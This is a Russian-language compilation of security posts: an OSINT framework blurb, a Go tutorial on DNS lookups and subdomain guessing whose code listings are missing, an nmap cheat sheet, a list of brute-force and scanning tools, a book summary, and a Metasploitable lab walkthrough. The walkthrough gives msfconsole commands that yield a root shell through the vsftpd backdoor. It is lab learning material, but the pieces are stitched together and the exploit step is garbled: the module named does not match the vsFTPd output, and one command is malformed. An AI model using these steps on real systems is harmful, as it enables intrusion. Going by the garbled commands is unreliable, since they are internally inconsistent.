sn0int — фреймворк для сбора и полуавтоматической обработки информации о поддоменах, IP-адресах, скомпрометированных учетных записях, телефонных номерах и профилях в социальных сетях.
Помимо прочего, sn0int в настоящее время может:
Собирать поддомены из журналов прозрачности сертификатов и пассивного DNS.
Массовое разрешение собранных поддоменов и сканирование служб http или https.
Обогатить IP-адреса информацией asn и geoip.
Собирать электронные письма с серверов ключей pgp и whois.
Обнаруживать скомпрометированные логины при нарушениях
Находит чьи-либо профили в Интернете
Перечисляет локальные сети с помощью уникальных методов, таких как пассивный ARP.
Сбор информации о номерах телефонов
Сбор активность и изображения из профилей социальных сетей.
Базовая обработка изображений
sn0int во многом вдохновлен recon-ng и maltego, но остается более гибким. и имеет полностью открытый исходный код.
Прежде чем начать знакомство с более сложными программами, рассмотрим ряд опций, доступных для клиентских операций. Встроенный в Go пакет net предлагает обширную функциональность и поддерживает большинство, если не все типы записей. Преимущество этого пакета — в простоте его API. Например, LookupAddr(addr string) возвращает список имен хостов для заданного IP-адреса. Недостаток же его заключается в невозможности указывать целевой сервер. Вместо этого пакет использует настроенный в операционной системе механизм распознавания. К недостаткам можно отнести также отсутствие возможности выполнения углубленного анализа результатов.
Для обхода этих недочетов мы задействуем отличный сторонний пакет Go DNS, написанный Миком Гибеном (Miek Gieben). Предпочесть этот DNS-пакет всем прочим стоит из-за его высокой модульности и грамотно написанного и протестированного кода. Вот команда для его установки:
Установив пакет, вы будете готовы к проработке последующих примеров кода. Начнем с выполнения поиска А-записей для получения IP-адресов из имен хостов.
Извлечение А-записей:
Сперва познакомимся с поиском для полностью уточненного имени домена (fully qualified domain name, FQDN), которое указывает точное расположение хоста в иерархии DNS. Затем попробуем интерпретировать это FQDN в IP-адрес с помощью DNS-записи А. Эта запись связывает имя домена с IP-адресом. (Все листинги кода находятся в корневом каталоге /exist репозитория GitHub https://github.com/blackhat-go/bhg/.)
Код на языке Golang
Сначала создается msg , после чего идет вызов fqdn(string) для преобразования этого домена в FQDN, которым можно обменяться с DNS-сервером . Далее нужно изменить внутреннее состояние Msg на вызов SetQuestion(string, uint16)
с помощью значения TypeA, указывающего, что нужно искать А-запись. (В пакете она определена как const. Другие поддерживаемые значения можно найти в документации.) В завершение мы помещаем вызов Exchange(*Msg, string) , чтобы отправить сообщение на предоставленный адрес сервера, в данном случае являющегося DNS-сервером, обслуживаемым Google.
Нетрудно заметить, что данный код не особо полезен. Несмотря на то что мы отправляем запрос к DNS-серверу и запрашиваем А-запись, ответ мы не обрабатываем, то есть с результатом ничего не делаем. Но прежде чем реализовать нужную функциональность в Go, давайте рассмотрим, как выглядит ответ DNS, чтобы лучше понять этот протокол и различные типы запросов.
Перед выполнением программы которая написана выше запустите анализатор пакетов, например Wireshark или tcpdump, чтобы просмотреть трафик. Вот пример возможного использования tcpdump на хосте Linux:
$ sudo tcpdump -i eth0 -n udp port 53
В отдельном окне терминала скомпилируйте и выполните программу:
$ go run main.go
После выполнения кода в выходных данных перехвата пакетов должны отобразиться подключение к 8.8.8.8 через UDP 53, а также детали DNS-протокола:
Две из получаемых при перехвате пакетов строчек нуждаются в дополнительном пояснении. Сначала запрос отправляется с 192.168.7.51 к 8.8.8.8 с помощью UDP 53, при этом происходит запрос А-записи. В ответе от DNS-сервера Google 8.8.8.8 содержится интерпретированный из имени домена IP-адрес 104.131.56.170.
С помощью анализатора пакетов можно преобразовать имя домена stacktitan.comв IP-адрес. Теперь посмотрим, как извлечь эту информацию, используя Go.
Отработка ответов от структуры Msg:
В качестве значения Exchange(*Msg, string) возвращает (*Msg, error). Возврат типа error имеет смысл и является стандартным для идиом Go, но почему в ответе приходит также изначально отправленная *Msg? Чтобы это понять, нужно взглянуть на определение этой struct в исходном коде:
Код на языке Golang
Как видите, Msgstruct содержит как вопросы (question), так и ответы (answer). Это позволяет объединять все DNS-вопросы и ответы на них в единую унифицированную структуру. Тип Msg располагает различными методами, упрощающими работу с данными. Например, срез Question изменяется с помощью метода setQuestion(). Это срез можно изменять напрямую, используя append(), и получать тот же результат. Срез Answer содержит ответ на запросы и имеет тип RR. Ниже будет показано, как эти ответы обрабатывать.
Обработка DNS-ответов:
Пример начинается с сохранения возвращенных от Exchange значений и их проверки на наличие ошибок. Если ошибка обнаружена, вызывается panic() для остановки программы. Функция panic() позволяет быстро просмотреть трассировку стека и определить место возникновения ошибки. Далее проверяется длина среза Answer. Если она меньше 1, это означает, что записей нет, и происходит возврат — бывают случаи, когда имя домена не может быть интерпретировано.
Тип RR является интерфейсом, имеющим всего два определенных метода, ни один из которых не дает доступа к IP-адресу, хранящемуся в ответе. Для доступа к этим адресам нужно применить утверждение типа, чтобы создать экземпляр данных в качестве нужного типа.
Сначала выполняем перебор ответов. Далее применяем в ответе утверждение типа, чтобы гарантировать работу с типом *dns.A. При выполнении этого действия можно извлечь два значения: данные в виде утвержденного типа и bool, отражающее успешность утверждения. После проверки успешности утверждения происходит вывод IP, сохраненного в a.A. Несмотря на тип net.IP, он реализует метод String(), поэтому его можно легко вывести на экран.
Поработайте с этим кодом, изменяя DNS-запрос и обмен (exchange) для поиска дополнительных записей. Утверждение типа может оказаться для вас незнакомым, но по своему принципу оно аналогично приведению типов в других языках.
Перечисление поддоменов:
Теперь, научившись использовать Go в качестве DNS-клиента, вы можете создавать полезные инструменты. В этом разделе мы создадим утилиту подбора поддоменов. Подбор поддоменов цели и других DNS-записей — основополагающий шаг в процессе разведки, так как чем больше поддоменов вам известно, тем обширнее поле атаки. Наша утилита будет угадывать их на основе передаваемого списка слов (файла словаря).
Используя DNS, можно отправлять запросы настолько быстро, насколько быстро система сможет обрабатывать пакеты данных. Узким местом здесь станут не язык или среда выполнения, а сервер назначения. При этом, как и в предыдущих главах, будет важно управление многопоточностью программы.
Сначала нужно создать в GOPATH каталог под названием subdomain_guesser, а затем файл main.go. После этого в начале создания нового инструмента необходимо решить, какие аргументы эта программа будет получать. В данном случае это будет несколько аргументов, включая целевой домен, имя файла, содержащего поддомены для подбора, используемый DNS-сервер, а также количество запускаемых воркеров. В Go для парсинга опций командной строки есть полезный пакет flag, который мы будем применять для обработки аргументов командной строки. Несмотря на то что мы используем этот пакет не во всех примерах кода, в данном случае он служит для демонстрации более надежного и изящного парсинга аргументов. Код этого процесса будет приведен ниже.
Создание программы подбора поддоменов на языке Golang
В начале строка кода, объявляющая переменную flDomain, получает аргумент String и объявляет пустое строковое значение для того, что будет парситься как опция domain. Следующая связанная строка — это объявление переменной flWorkerCount. Здесь в качестве опции командной строки c нужно предоставить значение Integer. В данном случае мы устанавливаем 100 воркеров. Но это значение можно счесть консервативным, так что в процессе тестирования смело экспериментируйте с увеличением их числа. В завершение вызов flag.Parse() заполняет переменные, задействуя предоставленный пользователем ввод.
ПРИМЕЧАНИЕ:
Вы могли обратить внимание на то, что этот пример идет вразрез с правилами Unix в том, что определяет необязательные аргументы, которые на деле являются обязательными. Можете свободно использовать здесь os.Args. Просто нам быстрее и удобнее поручить всю работу пакету flag.
При сборке данной программы должна возникнуть ошибка, указывающая на неиспользованные переменные. Добавьте приведенный далее код сразу после вызова flag.Parse(). Это дополнение выводит в stdout переменные наряду с кодом, гарантируя передачу пользователем -domain и -wordlist:
Чтобы ваш инструмент сообщал, какие имена оказались интерпретируемыми, указывая при этом соответствующие им IP-адреса, нужно создать для хранения этой информации тип struct. Определите его над функцией main():
Для этого инструмента вы будете запрашивать два основных типа записей — А и CNAME. Каждый запрос будет выполняться в отдельной функции. Стоит создавать эти функции максимально небольшими и поручать каждой выполнение только одной задачи. Такой стиль разработки позволит в дальнейшем писать менее объемные тесты.
Запрос записей A и CNAME:
Для выполнения запросов мы создадим две функции: одну для А-записей, вторую для записей CNAME. Они обе будут получать FQDN в качестве первого аргумента и адрес DNS-сервера в качестве второго. Каждая из них должна возвращать срез строк и ошибку. Добавьте эти функции в код, который начали определять, расположив вне области main():
Этот код должен показаться вам знакомым, так как он практически идентичен коду, который мы писали в самом начале главы. Первая функция, lookupA, возвращает список IP-адресов, а lookupCNAME возвращает список имен хостов.
Записи CNAME (канонические имена) сопоставляют одно FQDN с другим, которое служит псевдонимом для первого. Предположим, что владелец организации example.com хочет разместить WordPress-сайт с помощью сервиса хостинга WordPress. У этого сервиса могут быть сотни IP-адресов для балансировки всех пользовательских сайтов, в связи с чем предоставить IP для отдельного сайта просто невозможно. Вместо этого данный хостинг может предоставить каноническое имя (CNAME), на которое и будет ссылаться example.com. В итоге адрес www.example.com получит CNAME, указывающее на somewhere.hostingcompany.org, которое, в свою очередь, будет иметь А-запись, указывающую на IP-адрес. Это позволит владельцу example.com разместить свой сайт на сервере, для которого у него нет IP-данных.
Зачастую это означает, что вам нужно проследить целый хвост из канонических имен, чтобы в итоге добраться до действительной А-записи. Мы говорим хвост, потому что из подобных имен может выстраиваться бесконечная цепочка. Добавьте приведенный далее код функции в область за пределами функции main(), чтобы понаблюдать, как использовать череду CNAMES для нахождения А-записи:
Сначала определяется срез для хранения результатов. Далее создается копия FQDN, переданного в качестве первого аргумента. В итоге вы не только не теряете исходный угаданный FQDN, но и можете задействовать его в первой попытке запроса. Начав бесконечный цикл, мы пробуем получить CNAME для этого FQDN. В случае отсутствия ошибок и возвращения не менее одного CNAME устанавливаем cfqdn равным этому возвращенному CNAME, используя continue для возврата к началу цикла. Данный процесс позволяет проследить череду CNAME до возникновения сбоя. Последний будет означать, что конец цепочки достигнут и можно искать А-записи. Но если возникнет ошибка, означающая, что при поиске записи возникли проблемы, то выход из цикла произойдет раньше. В случае обнаружения действительных А-записей каждый возвращенный IP-адрес добавляется в срез результатов, а цикл прерывается. В завершение results возвращается вызывающему.
Наша связанная с интерпретацией имен логика выглядит гладко, однако мы не учли производительность. Давайте совместим этот пример с горутинами, добавив в него многопоточность.
Переход к воркер-функции:
Мы создадим пул горутин, которые будут передавать работу воркер-функции, выполняющей единицу работы. Для распределения работы и сбора ее результатов задействуем каналы. Напомним, что нечто подобное мы уже делали в главе 2, когда создавали многопоточный сканер портов.
Продолжим расширять код Создание программы подбора поддоменов. Сначала создадим функцию worker(), разместив ее вне области функции main(). Она будет получать три аргумента каналов: канал для воркера, чтобы он сигнализировал о своем закрытии, канал доменов, в которых нужно получать работу, и канал для отправки результатов. Этой функции потребуется заключительный строковый аргумент для указания используемого DNS-сервера. Далее приведен пример кода для функции worker():
Прежде чем вводить функцию worker(), определим тип empty для отслеживания завершения выполнения воркера. Это будет структура без полей. Мы задействуем пустую struct, так как она имеет размер 0 байт и практически не создаст нагрузку при использовании. Далее в функции worker() происходит перебор канала доменов, используемый для передачи FQDN. После получения ответа от функции lookup() и проверки наличия не менее одного результата мы отправляем его в канал gather, который собирает все результаты обратно в main(). После того как канал закрывается и цикл совершает выход, структура empty отправляет в канал tracker сигнал вызывающему о завершении всей работы. Отправка пустой struct в канал отслеживания — это важный последний шаг. Если этого не сделать, возникнет состояние гонки, так как вызывающий компонент может выйти до получения каналом gather результатов.
Поскольку вся необходимая структура теперь настроена, можно переключиться обратно на main() и закончить программу, которую мы начали писать в Создание программы подбора поддоменов.
Определите переменные, которые будут содержать результаты и каналы, передаваемые в worker(), после чего добавьте в main() следующий код:
Создайте канал fqdns как буферизованный на основе предоставленного пользователем количества воркеров. Это позволит воркерам запускаться быстрее, поскольку канал сможет вместить больше одного сообщения до блокировки отправителя.
Создание сканера с помощью bufio:
Далее откройте файл, предоставленный пользователем в качестве списка слов, и создайте в нем новый scanner с помощью пакета bufio. Добавьте в main() код
Если возвращаемая ошибка не равна nil, используется встроенная функция panic(). При написании пакета или программы для применения другими людьми следует постараться представить эту информацию более ясно.
Мы будем применять новый scanner для захвата строки текста из переданного списка слов и создания FQDN путем совмещения этого текста с предоставленным пользователем доменом. Результат будет отправляться в канал fqdns. Но сначала нужно запустить воркеры, так как порядок важен. Если отправить работу в канал fqdns, не запустив их, этот буферизованный канал в итоге заполнится и функции-производители будут заблокированы. В main() нужно добавить приведенный далее код, чья задача — запускать горутины воркеров, читать вводный файл и отправлять работу в канал fqdns.
Создание воркеров с помощью этого паттерна похоже на то, что мы уже делали при построении многопоточного сканера портов: задействовали цикл for до момента достижения числа, переданного пользователем. Для захвата каждой строки в цикле используется scanner.Scan(). Этот цикл заканчивается, когда в файле не остается строк для считывания. Для получения строкового представления текста из отсканированной строки мы применяем scanner.Text().
Работа запущена! Отвлекитесь на секунду и ощутите свое величие. Прежде чем читать следующий код, подумайте, где вы находитесь в программе и что уже успели сделать за время чтения книги. Попробуйте самостоятельно закончить эту программу и затем перейти к следующему разделу, где мы поясним ее оставшуюся часть.
Сбор и отображение результатов
Проработку последней части мы начнем с запуска анонимной горутины, которая будет собирать результаты воркеров. Добавьте в main() следующее:
Перебирая канал gather, мы добавляем полученные результаты в срез results. Поскольку мы добавляем срез в другой срез, нужно использовать синтаксис … . После закрытия канала gather и завершения перебора, как и прежде, происходит отправка пустой struct в канал отслеживания. Это делается для предотвращения состояния гонки на случай, если append() не завершится к моменту итогового предоставления результатов пользователю.
Остается только закрыть каналы и представить результаты. Для этого добавьте следующий код в конец main():
Первым можно закрыть канал fqdns, так как мы уже отправили по нему всю работу. Далее нужно выполнить получение результатов в канале tracker по одному разу для каждого воркера, что позволит им обозначить свое полное завершение. После этого можно закрыть канал gather, потому что результатов для получения не остается. В завершение нужно выполнить еще одно получение результатов на канале tracker, чтобы позволить горутине окончательно завершиться.
Эти результаты пользователю еще не представлены. Нужно это исправить. При желании можно просто перебрать срез results и вывести поля Hostname и IPAddress, используя fmt.Printf(). Тем не менее мы предпочитаем задействовать для представления данных один из нескольких прекрасных пакетов Go, а именно tabwriter. Он позволяет выводить данные в красивых ровных столбцах, разбитых на вкладки. Для его применения добавьте в конец main() следующий код:
На этом наша программа для подбора поддоменов готова. Теперь вы можете собрать и запустить этот инструмент. Опробуйте его на списках слов или словарях из открытых репозиториев (можете найти множество через Google). Поэкспериментируйте с количеством воркеров. Вы можете заметить, что при слишком быстрой обработке результаты получаются неоднозначные. Вот пример выполнения с использованием ста воркеров:
Вы увидите, что вывод показывает несколько FQDN и их IP-адреса. Мы смогли угадать значения поддоменов для каждого результата на основе списка слов, переданного в качестве вводного файла.
Теперь, когда вы создали собственный инструмент для подбора поддоменов и научились интерпретировать имена хостов в IP-адреса для перечисления разных DNS-записей, можно переходить к написанию собственного DNS-сервера и прокси.
Установка: Если Nmap не установлен, вы можете установить его с помощью менеджера пакетов вашего дистрибутива Linux. Например, в Ubuntu вы можете использовать команду: sudo apt-get install nmap.
Базовое сканирование: Чтобы выполнить базовое сканирование цели, используйте следующую команду: nmap [target]. Замените [target] на IP-адрес или имя хоста цели, которую вы хотите сканировать.
Сканировать диапазон IP-адресов. Вы можете сканировать диапазон IP-адресов, используя указанный диапазон. Например, nmap 192.168.1.1-100 будет сканировать все IP-адреса от 192.168.1.1 до 192.168.1.100.
Сканировать определенные порты. Чтобы сканировать определенные порты, используйте параметр «-p», за которым следует номер порта или диапазон портов. Например, nmap -p 80,443 192.168.1.1.
Агрессивное сканирование. Для более агрессивного сканирования с дополнительной информацией используйте параметр -A. Например, nmap -A 192.168.1.1.
Вывод в файл: Чтобы сохранить результаты в файл, перенаправьте вывод( например, nmap 192.168.1.1 > scan_results.txt.)
Сканирование операционных систем и версий. Используйте параметр -O, чтобы включить обнаружение ОС, и -sV, чтобы определить версии службы. Например, nmap -O -sV 192.168.1.1.
Сканировать порты UDP: Для сканирования портов UDP используйте опцию -sU. Например, nmap -sU 192.168.1.1.
Сканирование определенных версий службы. Используйте параметр --version-intensity, чтобы указать интенсивность обнаружения версии службы. Например, nmap --version-intensity 5 192.168.1.1.
Дополнительные параметры. Nmap предоставляет гораздо больше возможностей и возможностей. Вы можете изучить их, используя страницу руководства с помощью man nmap или посетив официальную документацию Nmap.
самое важное после определения цели составить план и начать действовать, если вы учите что то из списка то план за вас расписали, остаётся только действовать
Начал прохождение курса на Skillfactory(не реклама), но я овощ в этом плане, но интересно ппц) есть советы по литературе или может по комплексным видео о базисах в этой теме, заранее благодарю)
Мы собрали 8 полезных инструментов, которые широко используются пентестерами по всему миру, помогают находить бреши в безопасности и своевременно их устранять.
- Для удобства мы разделили их на 3 категории: Брутфорсеры, сканеры сетей и анализаторы трафика:
Брутфорсеры:
1. John the Ripper - инструмент, который используется для аудита слабых паролей. Данный инструмент хорошо зарекомендовал себя в сфере пентеста. Программа поддерживает сразу несколько вариантов атак:
- перебором по словарю;
- полным перебором (брутфорс);
- гибридным способом.
2. THC-Hydra - Простой в использовании многофункциональный брутфорс паролей, который завоевал популярность среди пентестеров по всему миру. Hydra поддерживает большое количество служб, отличается высокой скоростью работы, надёжностью и открытым исходным кодом.
3. RainbowCrack - Популярный взломщик хешей, который характеризуется высокой скоростью работы. Отличается от многих брутфорсов способом взлома: вместо грубого перебора комбинаций с вычислением и сравнением хеша с искомым значением, RainbowCrack сравнивает хеш со значениями из предкалькулированной таблицы.
- То есть время тратится только на сравнение, что способствует быстрому получению результата.
Сканеры сетей:
4. Nmap - утилита для сканирования и аудита безопасности сетей. Инструмент широко используется для сканирования узлов, получения списка открытых портов, сканирования запущенных сервисов и идентификации хостов в сети.
5. ZMap - инструмент изначально создавался как более быстрая альтернатива Nmap для сканирования всей сети, а не отдельных фрагментов.
Чтобы добиться скорости в 1,4 млн пакетов в секунду, достаточно обычного компьютера с гигабитным соединением. (высокая нагрузка, которая способна вывести из строя сетевое оборудование, аккуратней)
6. Masscan - Ещё один массовый асинхронный сканер, который работает со скоростью до 25 млн пакетов в секунду. Полезен для сканирования огромных сетей, таких как Интернет.
Анализаторы трафика:
7. tcpdump - сниффер с интерфейсом командной строки, с которым можно посмотреть, какие пакеты проходят через сетевую карту в данный момент.
- Чаще всего используется для отладки сети и в учебных целях, но возможности утилиты также позволяют проводить сетевые атаки и выявлять сканирование хоста.
8. mitmproxy - утилита для отладки, тестирования, оценки уровня конфиденциальности и тестирования на проникновение. С mitmproxy можно перехватывать, проверять, изменять и воспроизводить поток HTTP-трафика.
- Благодаря такой функциональности утилита широко используется не только хакерами и пентестерами, но также разработчиками веб-приложений для их своевременной отладки.
"Социальная инженерия и этичный хакинг на практике" - книга, написанная Джо Греем, которая рассматривает основы социальной инженерии и этичного хакинга, а также их применение на практике.
Автор начинает с введения в понятие социальной инженерии и объяснения, что это такое и как оно связано с этичным хакингом. Он подробно описывает различные методы и техники социальной инженерии, используемые для получения информации, манипуляции людьми и проникновения в защищенные системы.
Книга обращает внимание на важность этики в хакинге и подчеркивает, что основная цель этичного хакера - обеспечить безопасность и защиту системы, а не использовать полученную информацию в корыстных целях. Автор предлагает руководство по тому, как стать этичным хакером и использовать свои навыки для защиты системы, выявления уязвимостей и предотвращения вредоносных действий.
Книга также включает в себя реальные примеры и истории успешного применения социальной инженерии и этичного хакинга на практике. Автор делится своими личными опытом и советами, которые помогут читателю лучше понять принципы и методы социальной инженерии и этичного хакинга.
Основные темы, рассмотренные в книге, включают:
- Определение социальной инженерии и ее роль в хакинге;
- Понятие этичного хакинга и его важность в обеспечении безопасности;
- Методы и техники социальной инженерии, такие как фишинг, подмена личности и социальная манипуляция;
- Этичные принципы и правила поведения этичного хакера;
- Кейсы и примеры успешного применения социальной инженерии и этичного хакинга.
В целом, книга "Социальная инженерия и этичный хакинг на практике" представляет собой практическое руководство для тех, кто интересуется социальной инженерией и этичным хакингом. Автор предлагает читателю углубиться в мир хакинга и научиться использовать его навыки для защиты, безопасности и предотвращения киберпреступлений.
Поскольку взламывать чужие компьютеры незаконно а запах уязвимостей манит так-же как кровь для вампира имеет смысл организовать небольшую, скромную пентест лабораторию у себя в сети.
Существует много приложений, которые могут Вам помочь протестировать свои навыки или всячески попытаться их улучшить. Ими являются BWapp, Damn Vulnerable Web Application (DVWA), огромное количество CTF соревнований и многое другое.
#Metasploitable
Однако сегодня мы скачиваем целую виртуальную машину. Идем сюда https://sourceforge.net/projects/metasploitable/ и просто ждем завершения загрузки. Надеюсь, что мне не нужно учить Вас как создать виртуальную машину. Вкратце скажу что я предпочитаю Oracle VirtualBox. Это бесплатно и очень круто. Создаем машину с ubutu 64x и подключаем к ней виртуальный диск, который у нас есть.
#Дисклеймер
Маленький дисклеймер. Друзья, все что будет рассказано в данном посте, показывается исключительно для вашего самообразования и никак иначе. Если хотите что-то взломать, станьте пентестером или проходите CTF. Никогда не используйте знания во вред окружающим!
А, и кстати. Создайте сетевой мост у себя на компьютере. Через NAT ничего работать не будет. Теперь когда все готово мы запускаем машину и входим туда с помощью данных msfadmin:msfadmin.
Теперь давайте зайдем в Kali Linux и посмотрим, что там будет.
#Nmap
Я бы с радостью воспользовался нормальными сканнерами уязвимостей по типу Nessus или OpenVas, но мы будем использовать nmap, в котором уже есть скрипты для выявления уязвимостей. Кстати через прокси или тор они не работают поэтому чтобы что-то взломать вам придется знать наизусть как эксплуатируется тот или иной web сервис.
Поехали. Заходим в metasploitable и смотрим наш локальный ip адрес. В моем случае он - 192.168.1.131.
#Начало сканирования
Пишем в kali linux следующую компанду:
💣sudo nmap -sV -Pn --script vulners 192.168.1.131
Флаг sV означает, что мы получим дополнительную информацию о названии сервиса за портом и версией его патча.
Флаг Pn означает, что мы не отправим ping запросов и будем рассматривать все хосты будто бы они онлайн, пропустим обнаружение хостов.
#Выбор уязвимости
Через пару секунд мы видим огромное количество уязвимостей. Нас интересует самые высокие. В качестве примера возьмем CVE-2011-2523.
#msfconsole
Гуглим все про уязвимость а вместе с этим открываем msfconsole и пишем:
💣search ftp
💣use exploit unix/ftp/proftpd133cbackdoor
Выбираем полезную нагрузку. Я выбрал cmd/unix/interact.
💣Set payload payload/cmd/interact.
💣set RHOSTS 192.168.1.131
Тут как вы понимаете ip metasploitable в локалке.
Exploit
И видим следующее:
192.168.1.131:21 - Banner: 220 (vsFTPd 2.3.4)
* 192.168.1.131:21 - USER: 331 Please specify the password.
+ 192.168.1.131:21 - Backdoor service has been spawned, handling...
+ 192.168.1.131:21 - UID: uid=0(root) gid=0(root)
* Found shell.
* Command shell session 1 opened (192.168.1.15:39957 -> 192.168.1.131:6200)
Информация предоставлена исключительно в ознакомительных целях!